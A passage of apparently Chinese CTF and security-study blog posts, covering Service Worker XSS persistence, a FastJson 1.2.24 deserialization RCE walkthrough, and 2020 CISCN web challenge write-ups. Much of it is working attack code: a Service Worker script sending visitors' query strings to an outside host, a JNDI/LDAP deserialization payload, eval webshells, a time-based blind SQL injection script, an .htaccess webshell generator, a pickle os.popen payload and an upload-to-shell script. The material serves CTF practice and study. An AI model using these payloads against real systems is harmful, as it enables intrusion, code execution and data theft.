var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}

利用jsonp任意xss

view-source:https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22//ffffuck.free.beeceptor.com/%22);

利用Service Workers从xss.hardxss.xhlj.wetolink.com移动到auth.hardxss.xhlj.wetolink.com

https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22//abcde.free.beeceptor.com/2%22);//

2:

1
2
3
4
5
6
7
8
9
10
document.domain="hardxss.xhlj.wetolink.com";
a=document.createElement("iframe");
a.src="https://auth.hardxss.xhlj.wetolink.com";
document.body.append(a);
document.getElementsByTagName("iframe")[0].addEventListener("load",()=>{fuck()})
function fuck(){
var code = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//serviceworker.free.beeceptor.com/exp.js');//")`;
document.getElementsByTagName("iframe")[0].contentWindow.eval(code);
}

/:

1
2
3
self.addEventListener('fetch', function(event) {
event.respondWith(new Response('<html><script>document.location.href="http://ccreater.top:60000/?"+document.location.search</script></html>',{headers: { 'Content-Type': 'text/html' }}));
});

image5725

image5832

详细说明见:http://blog.ccreater.top/2020/10/15/Service%20Worker/

Service Worker

Service Worker

Service Worker 学习

配置检查

在已经支持 serivce workers 的浏览器的版本中,很多特性没有默认开启。如果你发现示例代码在当前版本的浏览器中怎么样都无法正常运行,你可能需要开启一下浏览器的相关配置:

  • Firefox Nightly: 访问 about:config 并设置 dom.serviceWorkers.enabled 的值为 true; 重启浏览器;
  • Chrome Canary: 访问 chrome://flags 并开启 experimental-web-platform-features; 重启浏览器 (注意:有些特性在Chrome中没有默认开放支持);
  • Opera: 访问 opera://flags 并开启 ServiceWorker 的支持; 重启浏览器。

另外,你需要通过 HTTPS 来访问你的页面 — 出于安全原因,Service Workers 要求必须在 HTTPS 下才能运行。Github 是个用来测试的好地方,因为它就支持HTTPS。为了便于本地开发,localhost 也被浏览器认为是安全源。

注意点

  1. Service Workers 要求必须在 HTTPS 或者 localhost 下才能运行
  2. Service Workers 要求尽可能的异步操作

Service Workers 的注册及安装

通过serviceWorkerContainer.register()来注册一个Service Workers

eg.

1
2
3
4
5
6
7
8
9
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw-test/sw.js', { scope: '/sw-test/' }).then(function(reg) {
// registration worked
console.log('Registration succeeded. Scope is ' + reg.scope);
}).catch(function(error) {
// registration failed
console.log('Registration failed with ' + error);
});
}

其中scope为Service Workers的作用域,默认是scriptURL(/sw-test/sw.js)所在的文件夹及其子文件夹,scope的选择范围只能是scriptURL所在的文件夹或者子文件夹,且不能影响其他网站,只能影响当前的域名。

scriptURL是相对于origin的URL而不是相对于引用他的那个JS文件,当然也有例外( Content-Type 必须是 text/javascript

如果你的 service worker 被激活在一个有 Service-Worker-Allowed header 的客户端,你可以为service worker 指定一个最大的 scope 的列表。

安装过程:

image1496

处理事件

Service Workers支持的事件如下

image1603

install:安装时会触发InstallEvent

activate:安装事件之后调用activate事件

fetch:Service Workers 中的所有请求都会触发fetch事件

sync:当发起一个同步请求是会触发sync事件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
this.addEventListener('install', function(event) {
event.waitUntil(
caches.open('v1').then(function(cache) {
return cache.addAll([
'/sw-test/',
'/sw-test/index.html',
'/sw-test/style.css',
'/sw-test/app.js',
'/sw-test/image-list.js',
'/sw-test/star-wars-logo.jpg',
'/sw-test/gallery/',
'/sw-test/gallery/bountyHunters.jpg',
'/sw-test/gallery/myLittleVader.jpg',
'/sw-test/gallery/snowTroopers.jpg'
]);
})
);
});

self.addEventListener('activate', function(event) {
var cacheWhitelist = ['v2'];

event.waitUntil(
caches.keys().then(function(keyList) {
return Promise.all(keyList.map(function(key) {
if (cacheWhitelist.indexOf(key) === -1) {
return caches.delete(key);
}
}));
})
);
});

self.addEventListener('fetch', function(event) {
event.respondWith(
caches.match(event.request).then(function(resp) {
return resp || fetch(event.request).then(function(response) {
return caches.open('v1').then(function(cache) {
cache.put(event.request, response.clone());
return response;
});
});
})
);
});

Service Worker With XSS

XSS简单示范

通过Service Worker 可以持久的控制受害者

利用条件如下:

  1. 一个xss点
  2. MIME TYPE 为 application/javascript的可控页面(通常是jsonp)

index.php?xss=navigator.serviceWorker.register("/sw/jsonp.php?xss=importScripts(%27https://serviceworker.free.beeceptor.com/exp.js%27);");

exp.js

1
2
3
self.addEventListener('fetch', function(event) {
event.respondWith(new Response('<h1 style="color:red">HACKED</h1>',{headers: { 'Content-Type': 'text/html' }}));
});

利用Service Workers 控制主站及其子站点

假设在A.evil.com上存在XSS点,B.evil.com上存在可控jsonp,

那么我们可以通过设置document.domain="evil.com",嵌入一个iframe(src=B.evil.com),然后执行恶意代码插入Service Workers

A站点执行(使用self.skipWaiting()使的Service Workes 控制当前界面)

1
2
3
4
5
6
7
8
9
10
document.domain="evil.com";
a=document.createElement("iframe");
a.src="https://B.evil.com/";
document.body.append(a);
document.getElementsByTagName("iframe")[0].addEventListener("load",()=>{fuck()})
function fuck(){
var code = `navigator.serviceWorker.register("/jsonp.php?callback=self.importScripts('//mysite.com/fuck.js')//")`;
document.getElementsByTagName("iframe")[0].contentWindow.eval(code);
}

这样我们便控制住了B站点

fuck.js

1
2
3
4
5
6
7
8
9
10
document.domain="hardxss.xhlj.wetolink.com";
a=document.createElement("iframe");
a.src="https://auth.hardxss.xhlj.wetolink.com";
document.body.append(a);
document.getElementsByTagName("iframe")[0].addEventListener("load",()=>{fuck()})
function fuck(){
var code = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('//serviceworker.free.beeceptor.com/exp.js');//")`;
document.getElementsByTagName("iframe")[0].contentWindow.eval(code);
}

exp.js

1
2
3
4
5
self.addEventListener('fetch', function(event) {
event.respondWith(new Response('<h1 style="color:red">HACKED</h1>',{headers: { 'Content-Type': 'text/html' }}));
});


参考

教程:https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API/Using_Service_Workers

API:https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API

https://lightless.me/archives/XSS-With-Service-Worker.html

FastJson1.2.24调试记录_复现

FastJson1.2.23 反序列化复现

漏洞exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Exploit implements ObjectFactory {
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
exec("xterm");
return null;
}

public static String exec(String var0) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var2) {
var2.printStackTrace();
}

return "";
}

}

FastJsonTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class App 
{
public static void main( String[] args )
{
String payload="{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
" \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\"," +
" \"autoCommit\":true\n" +
"}";

JSON.parseObject(payload);
}
}

调试

一步一步跟进去在
parseObject:320, DefaultJSONParser (com.alibaba.fastjson.parser)
发现了关于@type的处理

1
2
3
4
5
6
7
8
9
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

...

ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}

跟下去观察到是通过Thread.currentThread().getContextClassLoader().loadClass(className);
来加载@type的对应的值
跟进config.getDeserializer(clazz);
最后是通过derializer = createJavaBeanDeserializer(clazz, type);来生成反序列化处理器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
public ObjectDeserializer createJavaBeanDeserializer(Class<?> clazz, Type type) {
boolean asmEnable = this.asmEnable;//不是安卓设备则为true
if (asmEnable) {
JSONType jsonType = clazz.getAnnotation(JSONType.class);

if (jsonType != null) {//检测是否存在JSONType注释
...
}

if (asmEnable) {
Class<?> superClass = JavaBeanInfo.getBuilderClass(jsonType);//传入null
if (superClass == null) {
superClass = clazz;
}

for (;;) {//检查clazz及其所有父类是否均为public
if (!Modifier.isPublic(superClass.getModifiers())) {
asmEnable = false;
break;
}

superClass = superClass.getSuperclass();
if (superClass == Object.class || superClass == null) {
break;
}
}
}
}

if (clazz.getTypeParameters().length != 0) {//没有使用泛型
asmEnable = false;
}

if (asmEnable && asmFactory != null && asmFactory.classLoader.isExternalClass(clazz)) {
asmEnable = false;
}

if (asmEnable) {//类名不存在.和不可见字符
asmEnable = ASMUtils.checkName(clazz.getSimpleName());
}

if (asmEnable) {
if (clazz.isInterface()) {
asmEnable = false;
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);

if (asmEnable && beanInfo.fields.length > 200) {
asmEnable = false;
}

Constructor<?> defaultConstructor = beanInfo.defaultConstructor;
if (asmEnable && defaultConstructor == null && !clazz.isInterface()) {
asmEnable = false;
}

for (FieldInfo fieldInfo : beanInfo.fields) {
...
}
}

if (asmEnable) {
if (clazz.isMemberClass() && !Modifier.isStatic(clazz.getModifiers())) {
asmEnable = false;
}
}

if (!asmEnable) {
return new JavaBeanDeserializer(this, clazz, type);
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);
try {
return asmFactory.createJavaBeanDeserializer(this, beanInfo);
// } catch (VerifyError e) {
// e.printStackTrace();
// return new JavaBeanDeserializer(this, clazz, type);
} catch (NoSuchMethodException ex) {
return new JavaBeanDeserializer(this, clazz, type);
} catch (JSONException asmError) {
return new JavaBeanDeserializer(this, beanInfo);
} catch (Exception e) {
throw new JSONException("create asm deserializer error, " + clazz.getName(), e);
}
}

阅读代码发现:

1
2
3
4
5
1. 不是安卓设备
2. clazz是否存在JSONType注释
3. clazz及其所有父类都是public
4. clazz类的声明没有使用泛型
5. clazz的类名不存在.

经过上述检查后进入JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168

public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
JSONType jsonType = clazz.getAnnotation(JSONType.class);

Class<?> builderClass = getBuilderClass(jsonType);

Field[] declaredFields = clazz.getDeclaredFields();//获取所有字段
Method[] methods = clazz.getMethods();//获取所有public方法

Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);
Constructor<?> creatorConstructor = null;
Method buildMethod = null;

List<FieldInfo> fieldList = new ArrayList<FieldInfo>();

if (defaultConstructor == null && !(clazz.isInterface() || Modifier.isAbstract(clazz.getModifiers()))) {
...
}

if (defaultConstructor != null) {
TypeUtils.setAccessible(defaultConstructor);
}

if (builderClass != null) {
...
}

for (Method method : methods) { //
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}//方法名大于4

if (Modifier.isStatic(method.getModifiers())) {
continue;
}//非静态方法

// support builder set
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}//返回值是void 或 clazz类
Class<?>[] types = method.getParameterTypes();
if (types.length != 1) {
continue;
}//只有一个参数

...

if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
continue;
}//方法名以set开头

char c3 = methodName.charAt(3);

String propertyName;
if (Character.isUpperCase(c3) //set后的第一个字符必须是大写或_或f
|| c3 > 512 // for unicode method name
) //获得set方法对应的字段
{
if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
continue;
}

Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == boolean.class) {//字段不存在或是bool型
String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}

...

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, null));//添加到fieldList
}

for (Field field : clazz.getFields()) { // 添加非静态字段
int modifiers = field.getModifiers();
if ((modifiers & Modifier.STATIC) != 0) {//不允许STATIC
continue;
}

if((modifiers & Modifier.FINAL) != 0) {
Class<?> fieldType = field.getType();
boolean supportReadOnly = Map.class.isAssignableFrom(fieldType)
|| Collection.class.isAssignableFrom(fieldType)
|| AtomicLong.class.equals(fieldType) //
|| AtomicInteger.class.equals(fieldType) //
|| AtomicBoolean.class.equals(fieldType);
if (!supportReadOnly) {
continue;
}
}

boolean contains = false;
for (FieldInfo item : fieldList) {
if (item.name.equals(field.getName())) {
contains = true;
break; // 已经是 contains = true,无需继续遍历
}
}

if (contains) {
continue;
}

int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String propertyName = field.getName();

...

add(fieldList, new FieldInfo(propertyName, null, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, null,
fieldAnnotation, null));
}

for (Method method : clazz.getMethods()) { // getter methods
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}

if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {
String propertyName;

...

FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) {
continue;
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
}
}
}

return new JavaBeanInfo(clazz, builderClass, defaultConstructor, null, null, buildMethod, jsonType, fieldList);
}

大致总结一下会将哪些字段添加到FieldList中:

1
2
3
1. 存在public的set方法的字段(方法名的set后的第一个字符是大写或_)
2. 非Static和Final的字段(是的话要满足某些条件)
3. 返回值是满足某些条件的非静态get方法对应的字段

最后返回排序后的FieldList,生成deserializer
接着调用了return deserializer.deserialze(this, clazz, fieldName);
在程序执行错误(成功弹出计算器后的报错信息)的时候下断点进入parseField
@type字典下的其他字段,会进入
boolean match = parseField(parser, key, object, type, fieldValues);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // xxx

FieldDeserializer fieldDeserializer = smartMatch(key);//如果fieldList没有这个字段则返回null

final int mask = Feature.SupportNonPublicField.mask;
...

lexer.nextTokenWithColon(fieldDeserializer.getFastMatchToken());

fieldDeserializer.parseField(parser, object, objectType, fieldValues);

return true;
}

在fieldList字段查找存在后进入fieldDeserializer.parseField(parser, object, objectType, fieldValues);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
...
Object value;
if (fieldValueDeserilizer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer javaBeanDeser = (JavaBeanDeserializer) fieldValueDeserilizer;
value = javaBeanDeser.deserialze(parser, fieldType, fieldInfo.name, fieldInfo.parserFeatures);
} else {
...
} else {
value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);//获取值
}
}
if (parser.getResolveStatus() == DefaultJSONParser.NeedToResolve) {
...
} else {
if (object == null) {
fieldValues.put(fieldInfo.name, value);
} else {
setValue(object, value);//进入这里
}
}
}

最后进入setValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ublic void setValue(Object object, Object value) {
if (value == null //
&& fieldInfo.fieldClass.isPrimitive()) {
return;
}

try {
Method method = fieldInfo.method;
if (method != null) {
if (fieldInfo.getOnly) {
...
} else {
method.invoke(object, value);
}
return;
} else {
...
}
} catch (Exception e) {
throw new JSONException("set property error, " + fieldInfo.name, e);
}
}

进入对应字段的set或者get方法

至此FastJson的洞已经分析完了,接下来就是如何利用这个任意set/get方法调用从而RCE了
因为以下payload能成功

1
2
3
4
5
6
7
8
9
10
import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}

且符合

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个
    这些条件
    RCE达成

2020 ciscn 华东南 web

2020 CISCN 华东南赛区

web1

1
zip -r is useful, and don't forget /var/www/html/***********/cat.php

访问www.zip拿到源码

利用$msg = sprintf($msg, $value); 打印文件上传位置me0w_mE0w_miA0

访问me0w_mE0w_miA0/cat.php提示vim,拿到源码

cat.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
include('../waf.php');

session_start();
/*Login check*/
if(!$_SESSION['islogin'])
{
die('Who are you?');

}else{
//class is waf~
echo "<h4 align='center'>Hello,ctfer</h4>";
echo "<h4 align='center'>But I am only a little cat......really?</h4>";
echo '<br><div align="center"><img src="../images/cat2.jpg" align="center" /></div></br>';
$a=new waf();
spl_autoload_register();

if(isset($_COOKIE["filenames"]))
{
$a->data=$_COOKIE["filenames"];
$a->upload_check();
echo "<h3 align='center'>The Winning Formula is complete!</h3>";
$filenames=unserialize($_COOKIE["filenames"]);
}else{
$filenames='kee1ongz.meow';
file_put_contents($filenames,' Meow~meow,meow~');
}
}

?>

spl_autoload_register();没有任何参数的情况下调用spl_autoload();

  • class_name
  • file_extensions

在默认情况下,本函数先将类名转换成小写,再在小写的类名后加上 .inc 或 .php 的扩展名作为文件名,然后在所有的包含路径(include paths)中检查是否存在该文件。

上传fffffffffffuck.inc

1
2
3
4
5
6
<?php 
class fffffffffffuck{
public function __wakeup(){
eval($_POST[1]);
}
}

反序列化:O:13:"ffffffffffuck":0:[],将{}换为:[]虽然反序列化失败,但是还是调用了__wakeup

拿到flag:ciscn{keQXj78JHVUKjssqgD}

web2

提示source.php,composer

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
if($_SERVER['REMOTE_ADDR'] === '127.0.0.1'){
$content = file_get_contents('php://filter/read=convert.base64-encode/resource=file:///var/www/html/excel.php');
file_get_contents('http://'.$_GET['ip'].'/?'.$content);
}
else{
die('only for localhost');
}
?>

composer.json

1
2
3
4
5
{
"require": {
"phpoffice/phpspreadsheet": "1.5.0"
}
}

hint给你excel.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
require 'vendor/autoload.php';
$r = \PhpOffice\PhpSpreadsheet\IOFactory::createReader('Xlsx');
$r->setReadDataOnly(TRUE);
$fileInfo = $_FILES["filename"];
$filePath = $fileInfo["tmp_name"];
try {
$data = $r->load($filePath)->getSheet(0)->toArray();
}
catch (Exception $e) {
die('illegal xlsx file!');
}
$s = '';
$s = $s.'<table>';
foreach($data as $a)
{
$s = $s.'<tr>';
foreach($a as $i)
{
$s = $s."<td style=\"text-align:center\"><h2>".$i."</h2></td>";
}
$s = $s.'</tr>';
}
$s = $s.'</table>';
stream_wrapper_unregister('php');
chdir('users/');
$fd = (isset($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$_SERVER['REMOTE_ADDR']);
mkdir($fd);
//data:
chdir($fd);
file_put_contents('profile',$s);
$f = basename(getcwd()).'/profile';
//data:,/profile
chdir('..');
if(!stripos(file_get_contents($f),'<?') && !stripos(file_get_contents($f),'php')) {
include($f);
}
else die('no!');
?>


file_get_contents在处理data:,xxxxxx时会直接取xxxxxx
而include会包含文件名为data:,xxxxxx的文件

但是我们无法直接创建data:的文件夹

先用./data:创建data:文件夹

再用data:来绕过if(!stripos(file_get_contents($f),'<?') && !stripos(file_get_contents($f),'php'))

web3

www.zip直接下载,翻源码审计。

登录这边看这login.php构造一下符合正则规则的参数就好了,登了取下sessionid

然后qr.php里,sql注入明显的点,直接拼接的,$data来自于扫描二维码得到的数据,二维码里是个json:{"id":"xxxx"}

1
$sql="insert into record(p_id, userid)values ('".$data['id']."','".$user->getCardID()."');";

写盲注脚本爆破一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import requests, time
import qrcode
from requests.adapters import HTTPAdapter

SQL = "(select group_concat(flag) from flag)"
GETCONTENT = "'or(if( ascii(substr((" + SQL + "),%d,1)) <= %d, sleep(5), 0))or'"
GETLENGTH = "'or(if( length((" + SQL + ")) <= %d, sleep(5), 0))or'"

THRESHOLD = 5
STRLEN = 32

session = requests.Session()

session.mount('http://', HTTPAdapter(max_retries=10))


def guess(payload, strpos=None):
l = 0
r = 255

while l < r:
mid = (l+r)//2
if strpos is None:
sql = payload % (mid)
else:
sql = payload % (strpos, mid)

if check(sql) == True:
r = mid
print('guess <=', r)
else:
l = mid + 1
print('guess >', l)
return l


def check(payload):

qr = qrcode.make('{"id":"' + payload + '"}')
qr.save('qr.png')
start = time.perf_counter()
x = session.post(
url='http://172.20.6.103/qr.php',
cookies={
'PHPSESSID': 'fe940a8329992285f77487f96c575d29'
},
files={
"file": open("qr.png", "rb"),
"Content-Type": "application/octet-stream",
"Content-Disposition": "form-data",
"filename": "qr.png"
},
timeout=(2, 8)
)
end = time.perf_counter()
print(payload, end-start)
if end-start > THRESHOLD:
return True
else:
return False


def getlength():
global STRLEN
STRLEN = guess(GETLENGTH)
print('LEN:', STRLEN)


def getcontent():
content = ''
for strpos in range(1, STRLEN+1):
ch = guess(GETCONTENT, strpos)

content += chr(ch)
print('CHR:', chr(ch), 'CONTENT:', content)


if __name__ == '__main__':
getlength()
getcontent()

web4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class GetPass
{}
class Upload
{}
$y1ng = new GetPass;
$y1ng->abandon = new GetPass;
$y1ng->abandon->abandon =new Upload;
$y1ng->abandon->boring ="1";
$y1ng->abandon->code ="1";

$y1ng->boring = 'read';
$y1ng->code = 'hidden';

$c = new GetPass;
$c->abandon = new GetPass;
$c->abandon->abandon =new Upload;
$c->abandon->boring ="1";
$c->abandon->code ="1";

$c->boring = 'read';
$c->code = this;

$ser = serialize([$y1ng,$c]);
var_dump(urlencode($ser));

拿到pass=ob_end_clean_is_surplus

文件上传与网上某题相近

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .fuck\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()
generate_htacess()
generate_php_file("webshell.fuck", "<?php eval($_POST[1]); ?>")

分别上传webshell.fuck,还有.htaccess拿到flag

web5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ccopy_reg
_reconstructor
p0
(c__main__
webSite
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
Vname
p6
c__builtin__
getattr
(cos
popen
(S'dir'
tRS'read'
tR(NtRp7
sVdescribe
p8
V2
p9
sb.

提权没环境复现

web6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url="http://172.20.6.106:80/"
burp0_url = "http://172.20.6.106:80/index.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://172.20.6.106", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary6ssqFd6DiMBBDuHJ", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://172.20.6.106/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "x-forwarded-for": "127.0.0.1", "Connection": "close"}
burp0_data = "------WebKitFormBoundary6ssqFd6DiMBBDuHJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"htaccess\"\r\nContent-Type: application/octet-stream\r\n\r\nSetHandler application/x-httpd-php\r\n------WebKitFormBoundary6ssqFd6DiMBBDuHJ\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n.htaccess\r\n------WebKitFormBoundary6ssqFd6DiMBBDuHJ--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)


burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", "Origin": "http://172.20.6.106", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarywAeLpgB3HhSWqVLj", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://172.20.6.106/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "x-forwarded-for": "127.0.0.1", "Connection": "close"}
burp0_data = "------WebKitFormBoundarywAeLpgB3HhSWqVLj\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\neval($_POST['a']);\n?>\r\n------WebKitFormBoundarywAeLpgB3HhSWqVLj\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n2.jpg\r\n------WebKitFormBoundarywAeLpgB3HhSWqVLj--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)


burp0_data={"a":"system('cat /flag.txt');"}
r=requests.post(url+"upload/2.jpg", data=burp0_data)
print(r.text)

web7

浏览一遍代码后发现一个弱类型比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function getUser()
{

if (!isset($_SESSION["token"])) {
return -1; //not login
} else if ($_SESSION["token"] == "0") {
return 0; //Administrator//0e绕过
} else {
$key = base64_decode($_SESSION["token"]);
$user = explode("|", $key)[0]; //user
if (!$user) {
return -1;
}
return $user;
}
}

如果我们能令token以0e[0-9]+的格式的话,就可以绕过身份验证机制

而生成token的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function setUser($username, $password)
{
$ip = $_SERVER["REMOTE_ADDR"];
if ($username == 'admin') {
if ($ip == "::1" || $ip == "127.0.0.1"){
$_SESSION["token"] = 0; //Administrator
}else{
die('修罗!隐忍!!!');
}
} else {
$key = $username . "|" . $password;
$_SESSION["token"] = base64_encode($key);
}
}

因为0e[0-9]+是在base64中的所以我们构造:username=%D1%EDv%EF%BE&password=%D7m%F8

至此获得admin权限

upload处有个任意文件上传,但是我们不知道admin的上传目录,我们不得不进行sql注入

notes.php处有个神奇的todo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (isset($_POST['contents'])) {
$data = getCache();
if ($data && $data->contents == $_POST['contents']) {
$username = $data->username;
$contents = $data->contents;

} else {
$contents = $_POST['contents'];
}
if (isset($_POST['cache'])) {
